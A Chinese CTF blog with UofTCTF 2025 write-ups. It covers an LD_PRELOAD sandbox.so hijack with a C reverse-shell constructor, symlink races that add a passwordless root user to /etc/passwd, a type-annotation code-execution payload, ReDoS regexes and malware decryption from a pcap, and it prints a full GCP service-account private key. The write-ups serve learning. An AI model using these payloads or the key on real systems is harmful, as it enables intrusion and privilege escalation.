LD_PRELOAD 是 Linux 系统中的一个环境变量。用来告诉动态链接器（Dynamic Linker），在加载程序所需的任何标准库（如 libc.so）之前，优先加载 LD_PRELOAD 指定的共享库（.so文件）。

后果：如果这个被预加载的库里定义了与标准库同名的函数（比如 printf），程序就会使用预加载库里的版本（Hook/劫持）。

更严重的后果：如果这个库里有 __attribute__((constructor)) 标记的函数，（感觉反弹shell的程序中都有这个），那么这个函数会在程序的主函数（main）运行之前就立刻执行。

反正到了这里就说明在新版程序中，如果要用到环境中任何标准库，都会强制新进程加载 {self.sandbox_path}/sandbox.so,可控的恶意程序，得到反弹shell

然后关于为什么是Root，以下是ai的看法：

你可能会注意到代码里有 ['su', '-s', ..., self.user]，这看起来像是程序想要“降权”运行（Switch User 到一个普通用户）。

但是，逻辑漏洞在于加载时机：

发起者是谁？ 能够执行 su 命令切换用户的，通常只有 root 用户（或者拥有 CAP_SETUID 能力的进程）。这意味着 MaxKB 的主进程大概率是以 root 身份运行在 Docker 里的。

注入时机：LD_PRELOAD 的加载发生在进程启动的最早期。

关键点：当 subprocess.run 启动 su 命令时，su 这个二进制文件被加载到内存中。此时，LD_PRELOAD 生效，你的恶意代码被加载并执行。

权限状态：

虽然 su 的目的是为了降权，但在它完成降权操作之前，或者说在启动 su 这个动作本身时，父进程赋予的环境变量导致了恶意代码的执行。

如果 MaxKB 是 root 运行的，它派生出的子进程在最开始也是继承 root 权限的（在 su 真正切换 ID 之前，或者如果 LD_PRELOAD 甚至劫持了 su 本身）。

更常见的情况：在 Docker 这种容器环境下，Web 服务往往直接用 root 跑。攻击者劫持了加载过程，反弹回来的 Shell 自然就是启动该进程的用户权限（Root）。

讲的就是开发者想到了这个攻击点并进行了降权，但是写错了，因为这一点我没办法很好验证方案，所以就只把这个说法放在这里进行参考

覆写相关代码如下：

def payload():
    import base64
    import os
    malicious_so_b64="xxxx"
    malicious_data = base64.b64decode(malicious_so_b64)
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
        f.write(malicious_data)
    return "sandbox.so replaced successfully"

#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init() {
  system("python3 -c \"import os; import socket; s = "
         "socket.socket(socket.AF_INET, socket.SOCK_STREAM); "
         "s.connect(('xx.xx.xx.xx', xxxx)); fd = s.fileno(); os.dup2(fd, "
         "0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\"");
}

早点变强吧

uoftctf-2025 misc支线

Sat, 08 Nov 2025 23:33:52 +0800

misc 赏玩

隔壁web有一个点卡了7,8个小时怎么也过不去，过来misc逃避一下现实

Surgery

上来直接开盒这么刺激吗😖

第三个小哥年少有为啊

Math-test

小北计算器还在追我tmd😡

这个题为了调试脚本我把他改成5次计算了，因为是第一次写两个进程的交互所以我还是想深入学一下这个写法的

先看一下题目脚本的执行逻辑，弹出

1
2

Question: {计算式}
Answer: {用户输入}

那我就需要写一个脚本可以捕获隔壁输出计算出结果再输出到隔壁。这里需要用到一个叫 Pexpect 的库，他可以使代码完成交互使任务，ai如是说：

启动程序：它可以运行任何命令行程序，比如 ssh、ftp、git，或者我们这里的 python chall.py。

“看到”输出：它可以读取被它启动的程序的输出文本，就像我们用眼睛看屏幕一样。

“等待”提示：这是Pexpect最强大的地方。它可以等待特定的文本模式（比如一个登录提示 login: 或者一个问题 Question:）出现。这使得自动化脚本能够与程序同步，在正确的时间做出正确的反应。

“输入”指令：它可以向被控制的程序发送文本，就像我们用键盘输入命令然后按回车一样。

看一下脚本

import sys
import pexpect

child = pexpect.spawn(f'{sys.executable} chall.py')  # 启动任务程序

child.logfile_read = sys.stdout.buffer  # 让对面的程序的输出也显示在屏幕上

for i in range(5):
    child.expect("Question:")   # 等待 Question

    eqn = child.readline().decode('utf-8').strip()  # 提取表达式

    print(f"Received equation:{eqn}")

    result = eval(eqn)
    print(f"Cal result:{result}")

    child.sendline(str(result)) # 将表达式输出到父进程，我这样说对吗🤔


child.expect(pexpect.EOF)  # 确保退出

Racing-1

第一次知道docker还能连接ssh

连上去看看什么情况

看看C代码

char *fn = "/home/user/permitted";

if (!access(fn, R_OK)) // 判断是否有read /home/user/permitted 的条件，如果有 "access(fn, R_OK)" 返回0，好怪啊
{
  if (strstr(f, "flag") != NULL) // 软链接
}

但是没有这个文件

直接执行文件报错

1
2

user@e73f3cd3fc1f:/challenge$ ./chal
Cannot read file.

那我手动创建一个不就行了吗🤓☝️

这也没拦着我啊，何eva？

然后去看了一下WP，本质还是创建符号链接，但又利用了代码里的其他逻辑，好像还复杂了

user@e73f3cd3fc1f:~$ /challenge/chal
Enter file to read: ^Z
[1]+  Stopped                 /challenge/chal
user@e73f3cd3fc1f:~$ ln -sf /flag.txt ~/permitted
user@e73f3cd3fc1f:~$ fg
/challenge/chal

uoftctf{r4c3_c0nd1t10n5_4r3_c00l}

所以何eva

Poof

ai率百分百的侦探游戏

这个题我就wireshark还会用一点，其他全不了解，都是ai给我干的

侦查阶段学到一个非常好用的命令

`1`	`tshark -r poof.pcapng --export-objects http,exported_files/`

这个命令可以自动提取流http协议中出现的文件，不需要追踪和去除多余信息

主要得到的是两个文件

kcaswqcd.ps1 一个高度混淆的PowerShell脚本
82nvdkandf.bin 加密的二进制恶意文件

ai根据整个流量包分析出这是可能是一个钓鱼攻击，下载到木马的记录。

受害者下载并运行 kcaswqcd.ps1 脚本，这个脚本它立即向服务器发起新的请求，下载，解密并执行最终的恶意文件82nvdkandf.bin。

绕这么一大圈就是一方面通过加密能绕过防御，另一方面有一个触发的trigger，还是很精彩的攻击的，还原也很有意思，像是在玩侦探游戏

然后可以让ai根据 kcaswqcd.ps1 的逻辑写一个解密 82nvdkandf.bin 的脚本，因为我不是学密码的就不研究这个了，只贴出来供读者参考：

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import os

def decrypt_file(hex_payload_file, decrypted_file):

    key = "sksd89D2G0X9jk2fF1b4S2a7Gh8aVk0L".encode('utf-8')
    iv = "Md33eFa0ZwNx2qY1"[0:16].encode('utf-8')

    if not os.path.exists(hex_payload_file):
        print(f"[!] 错误: 十六进制载荷文件 '{hex_payload_file}' 不存在！")
        return

    print(f"[*] 正在读取十六进制载荷文件: {hex_payload_file}")
    with open(hex_payload_file, 'r') as f:
        hex_payload_raw = f.read()

    hex_payload_clean = "".join(hex_payload_raw.split())

    encrypted_bytes = bytes.fromhex(hex_payload_clean)

    print(f"[*] 正在使用正确的密钥和IV进行解密...")
    try:
        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted_data = unpad(cipher.decrypt(encrypted_bytes), AES.block_size)
    except ValueError as e:
        print(f"[!] 解密失败: {e}")
        return

    print(f"[*] 正在将解密后的内容写入: {decrypted_file}")
    with open(decrypted_file, 'wb') as f:
        f.write(decrypted_data)

    print("\n[+] 解密成功！")
    print(f"    最终的载荷已经被保存为 '{decrypted_file}'。")


if __name__ == "__main__":
    decrypt_file("82nvdkandf.bin", "decrypted_payload.exe")

侦查一下我们解密得到的可执行文件

1
2

file decrypted_payload.exe
decrypted_payload.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections

是.Net文件，当然我不知道他是干什么的，我去搜了一下，发现完全是另一个世界的东西，跟他有关的编译工具还要下载他家的全家桶，还必须是老版本，更不想知道他是干什么的了，不过我还是搞到了可以反编译这个文件的工具。

`1`	`ilspycmd -p -o decompiled_project decrypted_payload.exe`

得到的文件我不贴了，因为看到了那个文件，ai直接给我了最后得到flag的脚本，好像还是一个解密，因为这不是我的方向所以我也不深究了。附带脚本：

encrypted_shellcode = [
    129, 149, 255, 125, 125, 125, 29, 244, 152, 76,
    189, 25, 246, 45, 77, 246, 47, 113, 246, 47,
    105, 246, 15, 85, 114, 202, 55, 91, 76, 130,
    209, 65, 28, 1, 127, 81, 93, 188, 178, 112,
    124, 186, 159, 143, 47, 42, 246, 47, 109, 246,
    55, 65, 246, 49, 108, 5, 158, 53, 124, 172,
    44, 246, 36, 93, 124, 174, 246, 52, 101, 158,
    71, 52, 246, 73, 246, 124, 171, 76, 130, 209,
    188, 178, 112, 124, 186, 69, 157, 8, 139, 126,
    0, 133, 70, 0, 89, 8, 153, 37, 246, 37,
    89, 124, 174, 27, 246, 113, 54, 246, 37, 97,
    124, 174, 246, 121, 246, 124, 173, 244, 57, 89,
    89, 38, 38, 28, 36, 39, 44, 130, 157, 34,
    34, 39, 246, 111, 150, 240, 32, 23, 124, 240,
    248, 207, 125, 125, 125, 45, 21, 76, 246, 18,
    250, 130, 168, 198, 141, 200, 223, 43, 21, 219,
    232, 192, 224, 130, 168, 65, 123, 1, 119, 253,
    134, 157, 8, 120, 198, 58, 110, 15, 18, 23,
    125, 46, 130, 168, 30, 16, 25, 93, 82, 30,
    93, 19, 24, 9, 93, 8, 14, 24, 15, 93,
    17, 24, 26, 20, 9, 8, 14, 24, 15, 93,
    8, 18, 27, 9, 30, 9, 27, 6, 42, 73,
    14, 34, 76, 41, 34, 47, 78, 28, 17, 17,
    4, 34, 28, 51, 34, 52, 16, 13, 17, 73,
    19, 9, 66, 66, 0, 93, 82, 28, 25, 25,
    93, 82, 4, 125
]

key = 125

decrypted_shellcode = []

for byte in encrypted_shellcode:
    decrypted_byte = byte ^ key
    decrypted_shellcode.append(decrypted_byte)

flag = bytearray(decrypted_shellcode).decode('ascii', 'ignore')

print("--- Decrypted Shellcode ---")
print(flag)

最后最重要的一点，滚快照清除我的新旧.Net全家桶

再见了，所有的.Net工具👋

Racing-2

我之前竟然一直没去了解过 /etc/passwd 的写法

/etc/passwd 文件格式总结

/etc/passwd 是 Linux 系统的核心用户数据库，用于存储用户账户的基本信息。该文件是全局可读的。它的每一行代表一个用户，由 7 个冒号 (:) 分隔的字段组成。

标准格式： username:password:UID:GID:GECOS:home_directory:login_shell

字段详解表

字段	示例 (root用户)	字段名称	核心作用与解释
1	`root`	用户名	用于登录和识别用户的字符串。
2	`x`	密码	一个占位符 `x`，表示加密后的密码安全地存储在只有root可读的 `/etc/shadow` 文件中。这是为了防止普通用户获取密码哈希进行离线破解。
3	`0`	用户ID (UID)	权限的核心。Linux 内核通过 UID 来识别用户和判断权限。UID `0` 是为超级用户 `root` 保留的特殊 ID，拥有系统的最高权限。
4	`0`	组ID (GID)	用户所属主要组的 ID。GID `0` 对应 `root` 组。
5	`root`	GECOS/注释	用户的描述性信息，如全名、联系方式等。在 CTF 中通常不重要。
6	`/root`	家目录	用户登录后默认所在的目录路径。
7	`/bin/bash`	登录Shell	用户登录后启动的命令行解释器。如果设为 `/sbin/nologin` 或 `/bin/false`，则表示该用户不允许登录。

题目本身看这个WP也很清晰了，没有用到比竞争条件更复杂的东西

user@a9d7f5c87bf6:~$ touch ~/permitted
user@a9d7f5c87bf6:~$ cd /challenge
user@a9d7f5c87bf6:/challenge$ ./chal
Enter text to write: ^Z
[1]+  Stopped                 ./chal
user@a9d7f5c87bf6:/challenge$ ln -sf /etc/passwd ~/permitted
user@a9d7f5c87bf6:/challenge$ fg
./chal
root2::0:0:root2:/home/root2:/bin/bash
user@a9d7f5c87bf6:/challenge$ su root2
root2@a9d7f5c87bf6:/challenge# cat /flag.txt
uoftctf{f1nn_mcm155113_15_my_f4v0r173_ch4r4c73r}

Out Of The Container

以后要是有实力能出国了办张银行卡

我发现复现这种misc题目，不仅要解这个题，还得猜这个题给的时候是什么样子，不看WP不说怎么解题，连这个题目何意味都不知道

本题的一半是要求在题目官方的云服务器上完成的，嗯，如果要模拟题目流程中的种种那就不是复现解题而是根据WP复现出题了，而且这个谷歌的云平台还要绑定境外银行卡😑

先看一下本地能干什么，通过观察和搭建./Docerfile，我们可以发现环境执行了

COPY files/ /tmp/

RUN cat /tmp/config.txt

RUN rm -rf /tmp/

也就是复原在docker搭建环节出现过但之后又被删除的文件，感觉这个识别并记录 files 和之后的 rm 操作都不在一个层面上

使用docker save windex123/config-tester -o challenge2.tar可以保存题目的环境的镜像文件，在云服务器上要是遇到太大的项目从dockerhub上扒不下来，可以在本地扒完打包镜像传到云服务器上制作镜像

打包的文件里面包含docker在搭建的时候包含的所有信息而不是最后run的时候呈现的东西，所以能grep到被删除的文件。

感觉之前好像用过这个命令，但当时不知道这个特性

之后的步骤需要对应的线上题目环境，我没有国外银行卡，也不想浪费免费额度，就直接看着WP脑补了，看看上一步泄漏的隐藏信息

{
  "type": "service_account",
  "project_id": "uoftctf-2025-docker-chal",
  "private_key_id": "b5206d879aa7ef0a596f1c54462b153c358eaf53",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHfxbGyzji+f1w\njRbB6HooNfs2LP21h3buwozgj5AUl9peJm4WTSBFast99inBWdXRFuEoxwJx8YBM\ngQ3JPEGTzQI/LRzDWXaoPM03yQlwUjYNrxuzPaUVT/F97ggXaiAoavvjIvnRJLFt\ni1ri1haBVoZRniKI7k473Q8XWm5fYyKDQsZs9WaqOagHKGeT0LNkkN9lXJ1j1Epz\nT7eFeemKZmxVZ6u2pR7NOxfXzWr+Ctbuc9VLqGUaeJPsxiHzWNisIiOk9zeDCmFz\nEGrXW06uJAn31m1TT4eUNOzI7nZndVqqUfO8bZc0B2r+7pJJgzrPGV434sekcX+K\ngOXW4R8dAgMBAAECggEAGZjj+kPvG6iJ7VwdFGpY6jnq7sudDiLAjuglnVauXQYS\n/cueinwA7QdD7vib6PQ27CosX8gRNz+Of8J7W1vA6k7+v85xB1u+Tt3mUwcXj/Ls\nfpr+SeRZ/z8PtGHLZf22/Jilk0JUnZJAtdaQpdRkdNn+SBCrS7iQDzxRCGURDmn2\nh1J75218s+9+uYxEiGbX1g2gaq0rn2QNJzQwXnLapifurBId07ferMFzOPOV6zT3\nAyCTcAKpsqtkkKGFTKxujD5pS3+iaN2mx0lsBjvP5c45lUc80jh+IZNWsURkBSTH\nuJWUngenWUofa4+1c385pnpwJ1euV/sl13a4FO+4fQKBgQD+gU9toBUWFQ577z95\ntbR/gy4mOgrEsy5SO/6WNXFKjihqTNmOc9zAq65wCoit2IF4CeDsnbMk1bie2NiD\nHBnXs6RKIHWeWZBkdHM4eHUO5gNksYAzEF5EeFSXaKqaQbEoVUCC1moAKQF6B9lZ\nfXDS6Qza76NhXmT1DBqPt5pyWwKBgQDIqxBxrOYIwOEsnBDOy3eeEhyY82CC2j6B\nencLng3DVarwtf+kOOXTOnqaZPmESMs2pMbUFPIQN+4p3cQ4JhKcPiXSJyscY5do\nVysVtA4YhWwDFiZtmxjzKXhkF5/KcYvpGrqj50EDfBtSTYnpZODHQcXNuTLGZO8r\nGG1aLoD95wKBgG04VzrnkUUJwk6DjQ0RYqW6SSrUi9yAPOfDoW0bAESLn2KHGnJc\n3Ka+xryEeMWKfX1jV+iTgNbU9UcOLlSN0bVU/bNmHLPZIfNKWkwovauoIFqtJiRD\n6QCfV0Ym/9f1Sy7Q7z92/sSU1HJnPep+v9VzeDXY05esp8zV5ew5UgmzAoGBAJyo\n0CGu9beHvUNyY7zOJAiH40OVXZdKgtnane236s7Apr9dlsLCmMobMXQvuIyJt/xl\nD8SqxX/b6ldNBs8/CfBopGY4pfN33NBcnQpIk2iZYQXX2RBgsU3E5nRd7SXDF5NY\nhrVG6P6reTj7x9sqIkHtG1vMZdN1ITLn0xdAjvupAoGARDFZ+hk6zqyawfLkg+o1\n0v2rXztzeu/k+dMbmlMCPMwNnJzfoIy3YZxdSAUx9bgm3HaGlVJEszHMCujEop3i\n4M+Klb+MB5uMRVgZsrHhl/Gco0+rg1X3mLyxa8YLeeQ/B6AQFOI6r3mBHiRngYll\nQMg8o1APQ68Wh/3PhBbHIxU=\n-----END PRIVATE KEY-----\n",
  "client_email": "docker-builder@uoftctf-2025-docker-chal.iam.gserviceaccount.com",
  "client_id": "112040922998091528251",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/docker-builder%40uoftctf-2025-docker-chal.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

这是一个Google Cloud Platform (GCP) 的密钥，有了它我们就可以伪装成这个身份登陆到云端了，然后需要进一步侦查云端，根据题目提供的代码和wp可以脑补一下真实环境会发生的事情，我是第一次知道这种cli管理云端的方式，相关命令也是第一次接触，更多是记录新知识吧

`1`	`gcloud projects list # 列出现有项目`

预期结果：

1
2

PROJECT_ID                  NAME                PROJECT_NUMBER
uoftctf-2025-docker-chal    Docker Challenge    123456789012

根据接下来的操作可知我们肯定有查看构建服务记录的权限，而且我的账号名本来就是叫docker-builder嘛

`1`	`gcloud projects get-iam-policy uoftctf-2025-docker-chal # 查看权限`

然后查看搭建日志可以看到在云端搭建的dockerfile，其实就git clone了一个项目

1
2

gcloud builds list
gcloud builds log 4a4bbc46-5a8b-4d36-a23f-39366ab2eac7

最后能在github上找到这个https://github.com/OverjoyedValidity/countdown-timer/blob/main/settings.txt 里的flag，这个url现在还在

写完这个题我又问ai了一些关于云服务的问题，才知道阿里云原来也有cli版本，感觉算是情理之中意料之外，以前都往这方面想过用的都是web面板。

Walk in the Forest

机器学习都来了

比起怎么解题，我本人对源码更感兴趣一些，研究了一下发现但从使用上来说意外的很简单，就觉得这个库确实是非常厉害的作品

训练模型只用了两个py文件

create_dataset.py 把flag处理成训练信息发给 model.py 用来建立模型，中间的代码基本只涉及 flag 的编码解码规则，具体训练竟然只用一个函数就解决了，但想想也应该是这样，我对python的理解太少了

构成这个题目核心逻辑的地方有两点：

1
2

    X_train, X_test, y_train, y_test = train_test_split(
        X, y, test_size=0.05, random_state=seed)

这里把数据集一部分用来训练，另一部分用来测试效果，但是因为这个题目本来就不是机器学习的应用场景，每个字符对应的编码像个字典一样只和自己的ascii码有关，并没有什么规律，拿去测试也不可能匹配的上，那这些用于测试的字符就相当于完全被模型无视了，如果想直接从模型中问出flag就会缺失这部分的信息,(当然要是运气好代码拿噪音数据去测试就没这个问题，但题目给的模型是残缺的,但题目应该没有在这里为难)

`1`	`clf = RandomForestClassifier(bootstrap=False)`

这里就是选择模型并指定参数bootstrap=False，这里的bootstrap默认为true, 可以让每棵树训练时，随机从总数据里抽样。有些数据可能被重复抽到，有些可能一次都没被抽到。这是为了让模型更通用，如果关了这个参数那每棵树都强制使用完整的训练数据集,导致模型极度过拟合,模型会把训练集里的每一个细节都死死记住,因为上面提到的这个情景的特性，如果不用这个参数那估计什么也提取不出来

以下是我拷打ai得到的非常硬核的手工复刻算法推理引擎的方案，基于随机森林这个算法本身，把每个字符放到这个树手动在里面走一遍来看结果，但是要用逆向分析得到数据处理的方式

import pickle
import numpy as np
import collections

# ==========================================
# 1. HackUnpickler: 核心加载模块
# ==========================================
class StubSklearn:
    def __init__(self, *args, **kwargs): pass
    def __setstate__(self, state): self.__dict__.update(state)

class StubTree:
    def __init__(self, *args, **kwargs): pass
    def __setstate__(self, state):
        self.nodes = state['nodes']
        self.values = state['values']

class HackUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if name == 'Tree': return StubTree
        if 'sklearn' in module: return StubSklearn
        return super().find_class(module, name)

# ==========================================
# 2. 改进的预测逻辑：返回票数分布
# ==========================================
def get_votes(forest, features):
    """
    返回所有类别的得票数
    """
    n_classes = len(forest.classes_)
    total_votes = np.zeros(n_classes)

    for tree_wrapper in forest.estimators_:
        if hasattr(tree_wrapper, 'tree_'):
            tree = tree_wrapper.tree_
            node_id = 0
            nodes = tree.nodes
            # 遍历决策树
            while nodes[node_id]['left_child'] != -1:
                feature_idx = nodes[node_id]['feature']
                threshold = nodes[node_id]['threshold']
                if features[feature_idx] <= threshold:
                    node_id = nodes[node_id]['left_child']
                else:
                    node_id = nodes[node_id]['right_child']

            # 累加这棵树的投票
            # tree.values 通常是 [[0, 1, 0...]] 这种形状，取第一行
            votes = tree.values[node_id][0]

            # 安全加法，防止维度不一致
            if len(votes) == len(total_votes):
                total_votes += votes

    return total_votes

# ==========================================
# 3. 主逻辑：基于分数的筛选
# ==========================================
def solve():
    model_path = '../dist/model.pkl'
    print(f"[*] 加载模型: {model_path}")

    with open(model_path, 'rb') as f:
        model = HackUnpickler(f).load()

    classes = model.classes_
    print(f"[*] 模型类标签: {classes}")

    # 存储最佳结果: { position: (max_score, [char_list]) }
    best_candidates = collections.defaultdict(lambda: (-1, []))

    print("[*] 正在进行全字符扫描与投票分析...")

    for char_code in range(32, 127): # 扫描可见字符
        char = chr(char_code)
        # 转二进制特征
        features = [int(b) for b in f"{char_code:08b}"]

        # 获取该字符在所有类别上的得票
        votes = get_votes(model, features)

        # 找出得票最高的那个类别（位置）
        pred_idx = np.argmax(votes)
        max_vote = votes[pred_idx]
        pred_label = classes[pred_idx]

        # 只要得票 > 0 且是有效位置 (1-9)
        if max_vote > 0 and 1 <= pred_label <= 9:
            current_best_score, current_chars = best_candidates[pred_label]

            if max_vote > current_best_score:
                # 发现更高置信度的字符，覆盖旧的
                best_candidates[pred_label] = (max_vote, [char])
            elif max_vote == current_best_score:
                # 分数一样，添加到候选列表 (平票处理)
                current_chars.append(char)
                best_candidates[pred_label] = (max_vote, current_chars)

    # ======================
    # 4. 输出与拼凑
    # ======================
    print("\n[*] 分析结果:")
    flag_parts = []

    for i in range(1, 10):
        if i in best_candidates:
            score, chars = best_candidates[i]

            # 如果有多个候选，优先选 ASCII 码符合 Leet 语法的
            # 这里我们只打印出来给用户看
            char_display = "/".join(chars)
            print(f"  位置 {i}: '{char_display}' (得票: {int(score)})")

            # 自动选择逻辑：如果有多个，取第一个（通常 ASCII 较小的那个，比如 'b' vs 'j'）
            flag_parts.append(chars[0])
        else:
            print(f"  位置 {i}: [缺失] (模型中没有对应类标签)")
            flag_parts.append("?")

    raw_flag = "".join(flag_parts)
    print("-" * 30)
    print(f"✅ 自动推断 Flag: uoftctf{{{raw_flag}}}")
    print("⚠️ 注意：如果出现 ?，请根据单词 br4nch0u7 (branch out) 进行猜解。")
    print("-" * 30)

if __name__ == "__main__":
    solve()

得到的结果如下，可以看到第六个字符没有在模型中：

python solve.py
[*] 加载模型: ../dist/model.pkl
[*] 模型类标签: [0 1 2 3 4 5 7 8 9]
[*] 正在进行全字符扫描与投票分析...

[*] 分析结果:
  位置 1: 'b' (得票: 100)
  位置 2: 'r' (得票: 100)
  位置 3: '4' (得票: 100)
  位置 4: 'n' (得票: 100)
  位置 5: 'c' (得票: 100)
  位置 6: [缺失] (模型中没有对应类标签)
  位置 7: '0' (得票: 100)
  位置 8: 'u' (得票: 100)
  位置 9: '7' (得票: 100)
------------------------------
✅ 自动推断 Flag: uoftctf{br4nc?0u7}
⚠️ 注意：如果出现 ?，请根据单词 br4nch0u7 (branch out) 进行猜解。
------------------------------

这个字符完全是没有出现在模型中的，是物理层面上的无解，可能当时题目提供了刷新模型的功能，但这里也可以直接猜出flag原话是branch out，这种给你个文件的题目的flag又不像web是随机的

wp给出的方案是基于随机森林模型的漏洞，给出了一个DRAFT 重构的论文woc，两个方案在这个题目中效果是一样的，但是要是在更真实的环境下他这个方案准确率是拉满的，因为他是通过漏洞得到数据，而不是拷打模型得到的，😑，这个太复杂我就不研究了，我就体验一下机器学习

这里指个路 DRAFT 论文 (ArXiv) DRAFT GitHub 仓库uoftctf{fake_flag}

Model Assembly Line

世界是一个巨大的小北计算器

这个题目除了应用场景和小北计算器不一样，防御不如小北计算器厚基本就是他的python版本，exp的思路也一样，但是我还是没写出来，

感觉这种题目很考验在CTF的经验，比如那个小北计算器就是，写出来这个题的人好像都对这些比较经典的会产生漏洞的函数起码是有一面之缘，嗯～，我去拷打ai也没有得到一个比较好的途径

可以对比一下两个题的要素

本题：

def YOUR_MODEL(prompts: Iterable['[__import__("os").system("/readflag")]']): \n pass

要素：漏网之鱼类型注解绕过AST解析，前向引用提供潜在eval(),字符串直接被当作python代码解析

小北

setTimeout(atob(/zphID0gRGVuby5yZWFkVGV4dEZpbGVTeW5jKCcvZmxhZycpLy9/))

要素: 漏网之鱼正则绕过AST解析，serTimeout提供潜在的eval()，隐式转换让代码可识别，白名单绕过，js解析顺序，原型链污染，base解析机制，作用域等

可以看到这个小北计算器从知识覆盖面上是要完胜本题的，但是这个题目中python特色的利用还是有必要积累一下的：

类型注解

普通写法：

1
2

def greeting(name):
    return "Hello " + name

1
2

def greeting(name: str) -> str:
    return "Hello " + name

在这个例子中，: str 就是类型注解，从 Python 3.5 开始，引入了 Type Hints（PEP 484），允许开发者声明变量或函数的期望类型。

在本题的情况下，对于 AST 来说，这些注解默认是不产生运行效果的。它们通常被忽略，或者是存储在 annotations 属性里供 IDE、静态检查工具（如 mypy）或第三方库（如 pydantic, spacy）使用。

我的注解 Iterable['[__import__("os").system("/readflag")]'] 中 '[__import__("os").system("/readflag")]' 被解析成字符串绕过防御，这个'同时也涉及python的第二个特性:前向引用

前向引用

在写类型注解时，有时你需要引用的类型还没被定义。比如：

class Node:
    # 报错！因为此时 Node 类还没定义完，不能在内部引用自己
    def add_child(self, child: Node):
        pass

这里，Python 允许你用字符串来写类型。

class Node:
    # 合法！Python 先把它存成字符串，以后再说
    def add_child(self, child: "Node"):
        pass

这就是前向引用：暂时用字符串占位，等真正需要用到类型检查的时候，再去解析这个字符串。

当这个函数被解析的时候，py要去查看这个参数是被定义成什么形式的变量的，就会进入字符串，解析设计好的利用链’[import(“os”).system("/readflag")]’]，触发恶意代码，而Iterable[]是這種寫法的格式，就不多說了,我的輸入法出問題不知道為什麼開始寫繁體字了，woc這字怎麼這麼多筆畫，寫著不得累死

嗯，感觉这个题写不出来就是单纯不知道这些奇奇怪怪的用法，得到wp一下就能知道怎么写，但总是靠看WP没有搜索能力也不是办法啊

感觉今天写的几个题目更多是看着源码或者WP无障碍学习了很多奇奇怪怪的知识，本身并没有太多的自己尝试或走弯路摸索的过程，博客写得也比较简单，毕竟这是杂项，本身也没有接触过，但是以后还是要先尝试自己写出来

UofTCTF-2025-web-复现

Fri, 07 Nov 2025 08:44:01 +0800

UofTCTF-2025-web-复现

复现题目的时候可以直接看到出题人藏起来的东西，感觉有点背德，虽然不会的还是不会。😋

1. scavenger-hunt

七龙珠说是

欢迎页面背面有p1,大概知道玩法了。

扫描一下

gospider -s "http://127.0.0.1:3000" -o output -c 10 -d 3 --robots --sitemap
[url] - [code-200] - http://127.0.0.1:3000
[robots] - http://127.0.0.1:3000/hidden_admin_panel
[href] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css
[href] - http://127.0.0.1:3000/styles.css
[href] - http://127.0.0.1:3000/
[href] - http://127.0.0.1:3000
[javascript] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js
[javascript] - http://127.0.0.1:3000/app.min.js
[url] - [code-403] - http://127.0.0.1:3000/hidden_admin_panel
[url] - [code-200] - http://127.0.0.1:3000/
[url] - [code-200] - http://127.0.0.1:3000/app.min.js
[url] - [code-200] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js
[url] - [code-200] - https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.js

发现有 robots 文件，逮捕 p4。

追踪 disallow 文件得被拦截。

改 cookie 发现 p3, 和 p6 一起拿下。

然后去看扫出来的文件，在 /styles.css 里面又找到一个。~~其实是瞟到源码知道的~~

在同样扫出来的 app.min.js 得到一串 js 代码,虽然代码看不懂，但注释我还是看见了，在注释提到的地址得到了 p7。

最后没招了一条一条看网络，还真把最后一个看出来了，在 css 的标头里面。

最后得到这些整理一下：

part7":"c0d3!!}   (from app.min.js.map)
part 1: uoftctf{ju57_k33p_  (from home)
part4=411_7h3_  (from robots)
Part 6: 50urc3_  (from admin)
flag_part3=1n5p3c7_   (from cookie)
* p_a_r_t_f_i_v_e=4pp5_* (from css)
part2 c4lm_4nd_   (from head)

豪丸

2. CodeDB

小北计算器还在追我tmd 😡

打开题目看到正则心颤了一下，打开 hint 看到了 ReDos，直接吓哭了。🤫

当时做小北计算器的时候，想过正面击破正则表达式的白名单，~~现在想想挺弱智的~~，了解了 ReDos 攻击，但没实践过，正好练一下，话说这个题怎么又是提供源码的。

ReDos测试

我修改了主程序添加日志记录：

console.log(
  chalk.yellow(
    `[+] Worker timed out after ${timeout}ms. A ReDoS attack was likely triggered!`,
  ),
);

然后在环境里塞了个简单的测试文件 redos_victim.js 如下：

`1`	`// redos-trigger:aaaaaaaaaaaaaaaaaaaaaaaaa`

这里用 /^\/\/ redos-trigger:(a|a)+$/ 和 /^\/\/ redos-trigger:(a+)+b/ 为例触发 ReDos。

这里涉及这个漏洞最核心的两个机制，贪婪和回溯。

首先鉴定犯下了贪婪之罪的 /^\/\/ redos-trigger:(a|a)+$/: 对于有 n 个 a 的字符串，这个匹配会 dfs 一路匹配第一个 a 到结束,然后会贪婪地去看有没有更长的匹配项，最终会遍历一颗度为 n 的树。
然后鉴定犯了回溯之罪的 /^\/\/ redos-trigger:(a+)+b/: (a+) 会贪心地一口气吃下所有 a,但是最后没有匹配到要求的 b,便会吐出来一个去尝试其他的组合，最后会遍历所有分割方法看看能不能得到 b,(可以分成多组)。但是我根本没有设置 b，鉴定为我们必须想象正则引擎是幸福的。

二者的复杂度都是 2^n 的指数级，可以触发回溯地狱，~~ohmygah,太可怕了😰~~

以上 payload 只要把匹配的 a 换成可以匹配任何字符的 [\w\W] 就可以升级到更全面的匹配。

源码鉴定

跟着程序中的几个核心逻辑走一遍，看看输入 /uoftctf{/ 直接搜索 flag 会发生什么：

Part A. app.js

// 0. 初始化
function initializeFiles() {
